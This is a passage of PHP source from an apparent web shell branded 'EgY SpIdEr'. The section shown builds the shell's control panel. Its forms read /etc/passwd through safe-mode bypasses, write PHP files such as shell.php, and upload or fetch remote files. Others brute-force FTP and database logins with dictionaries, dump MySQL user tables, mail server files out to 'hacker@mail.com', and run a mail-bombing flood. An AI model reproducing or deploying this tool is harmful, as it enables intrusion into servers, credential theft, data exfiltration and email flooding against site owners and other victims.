5718echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_perl').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5719echo $te.'</div>'.$table_end1.$fe;
5720
5721
5722{
5723echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
5724echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5725echo $te.'</div>'.$table_end1.$fe;
5726}
5727
5728
5729
5730
5731{
5732echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
5733echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
5734echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5735echo $te.'</div>'.$table_end1.$fe;
5736}
5737
5738{
5739echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
5740echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
5741echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5742echo $te.'</div>'.$table_end1.$fe;
5743}
5744
5745
5746{
5747echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
5748echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5749echo $te.'</div>'.$table_end1.$fe;
5750}
5751
5752{
5753echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id13').$table_up2.div('id13').$ts;
5754echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5755echo $te.'</div>'.$table_end1.$fe;
5756}
5757
5758{
5759echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
5760echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5761echo $te.'</div>'.$table_end1.$fe;
5762}
5763
5764
5765{
5766echo $fs.$table_up1.div_title($lang[$language.'_text170'],'id2221').$table_up2.div('id2221').$ts;
5767echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','egy_4_2_0',96,(!empty($_POST['egy_4_2_0'])?($_POST['egy_4_2_0']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_4_2_0').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5768echo $te.'</div>'.$table_end1.$fe;
5769}
5770
5771
5772
5773{
5774echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
5775echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
5776echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5777echo $te.'</div>'.$table_end1.$fe;
5778}
5779
5780{
5781echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
5782echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5783echo $te.'</div>'.$table_end1.$fe;
5784}
5785
5786{
5787echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
5788echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5789echo $te.'</div>'.$table_end1.$fe;
5790}
5791
5792{
5793echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
5794echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5795echo $te.'</div>'.$table_end1.$fe;
5796}
5797
5798{
5799$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
5800"<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
5801"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
5802echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
5803echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5804echo $te.'</div>'.$table_end1.$fe;
5805}
5806
5807{
5808echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
5809echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5810echo $te.'</div>'.$table_end1.$fe;
5811}
5812
5813{
5814echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
5815echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5816echo $te.'</div>'.$table_end1.$fe;
5817}
5818
5819{
5820echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up3.div('id27').$ts;
5821echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
5822echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
5823echo $te.'</div>'.$table_end1.$fe;
5824}
5825
5826{
5827echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
5828echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
5829echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
5830echo $te.'</div>'.$table_end1.$fe;
5831}
5832
5833{
5834echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
5835echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
5836echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
5837echo $te.'</div>'.$table_end1.$fe;
5838}
5839
5840{
5841echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
5842echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
5843echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
5844echo $te.'</div>'.$table_end1.$fe;
5845}
5846
5847{
5848echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
5849echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5850echo $te.'</div>'.$table_end1.$fe;
5851}
5852
5853{
5854echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
5855echo "<tr><td valign=top width=70%>".$ts;
5856echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
5857echo $te."</td><td valign=top width=30%>".$ts;
5858echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
5859echo $te."</td></tr>";
5860echo $te.'</div>'.$table_end1;
5861}
5862
5863{
5864echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
5865echo "<tr><td valign=top width=70%>".$ts;
5866echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
5867echo $te."</td><td valign=top width=30%>".$ts;
5868echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
5869echo $te."</td></tr>";
5870echo $te.'</div>'.$table_end1;
5871}
5872
5873echo $fs.$table_up1.div_title($lang[$language.'_text171'],'id98200').$table_up2.div('id98200').$ts;
5874echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_5_2_3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5875echo $te.'</div>'.$table_end1.$fe;
5876
5877
5878{
5879echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
5880echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
5881echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
5882echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
5883echo $te.'</div>'.$table_end1.$fe;
5884}
5885
5886
5887{
5888echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
5889echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
5890echo "<tr><td valign=top width=50%>".$ts;
5891echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
5892echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
5893echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
5894echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
5895echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
5896echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
5897echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
5898echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
5899echo $te."</td><td valign=top width=50%>".$ts;
5900echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
5901echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
5902echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
5903echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
5904echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
5905echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
5906echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
5907echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
5908echo $te."</td></tr>";
5909echo $te.'</div>'.$table_end1.$fe;
5910}
5911
5912
5913{
5914 echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
5915 echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
5916 echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
5917 echo $te.'</div>'.$table_end1.$fe;
5918}
5919
5920echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
5921echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
5922$arh = $lang[$language.'_text92'];
5923if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
5924if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
5925if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
5926echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
5927echo $te.'</div>'.$table_end1.$fe;
5928
5929{
5930echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
5931
5932echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
5933echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
5934echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
5935echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
5936echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
5937echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
5938echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
5939echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
5940
5941echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
5942echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
5943echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
5944echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
5945echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
5946echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
5947echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
5948echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
5949echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
5950
5951echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
5952echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
5953echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
5954echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
5955echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
5956echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
5957echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
5958echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
5959echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
5960
5961echo $te."</td>".$fe."</tr></div></table>";
5962}
5963
5964
5965{
5966echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
5967echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
5968echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
5969echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
5970echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
5971echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
5972echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
5973
5974echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
5975echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
5976echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
5977echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
5978echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell"))));
5979echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
5980echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
5981echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
5982
5983echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
5984echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
5985echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
5986echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
5987echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
5988echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
5989echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
5990echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
5991
5992echo $te."</td>".$fe."</tr></div></table>";
5993}
5994
5995
5996{
5997$select = '<select name=db>';
5998if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
5999if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
6000if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>';
6001if($ora_on) $select .= '<option value=Oracle>Oracle</option>';
6002if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>';
6003if($msql_on) $select .= '<option value=mSQL>mSQL</option>';
6004if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>';
6005$select .= '</select>';
6006
6007echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up3.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
6008echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
6009
6010echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
6011echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
6012echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
6013echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
6014echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
6015echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
6016echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
6017echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
6018echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
6019
6020echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6021echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
6022
6023echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
6024echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
6025echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
6026echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
6027echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
6028echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
6029
6030echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6031echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
6032
6033echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
6034echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
6035echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
